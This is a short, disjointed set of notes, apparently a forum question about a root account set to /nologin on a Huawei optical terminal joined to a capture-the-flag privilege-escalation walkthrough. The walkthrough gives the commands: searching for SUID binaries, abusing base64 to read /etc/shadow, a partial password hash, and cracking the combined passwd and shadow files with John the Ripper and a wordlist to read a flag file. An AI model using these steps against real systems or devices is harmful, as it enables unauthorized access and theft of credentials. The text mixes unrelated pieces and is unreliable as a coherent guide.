in etc/passwd file the root is set to /nologin in the end what does that mean? I can never log into that machine? Btw it's an Huawei OPTICAL Terminal based on Busybox
find / -type f -perm -04000 -ls 2>/dev/null gtfobins.github.io/gtfobins/base64/ sudo install -m =xs $(which base64) . LFILE=file_to_read ./base64 "$LFILE" | base64 --decode paste ---------------- LFILE=/etc/shadow /usr/bin/base64 "$LFILE" | base64 --decode $6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh copy contents of shadow and passwd to a file on your computer and run unshadown on them unshadow passwd.txt shadow.txt > john-input.txt this will combine the two files contents for john to read sudo john john-input.txt --wordlist=/usr/share/wordlists/rockyou.txt sudo john -show john-input.txt LFILE=/home/ubuntu/flag3.txt /usr/bin/base64 "$LFILE" | base64 --decode you will see the flag as output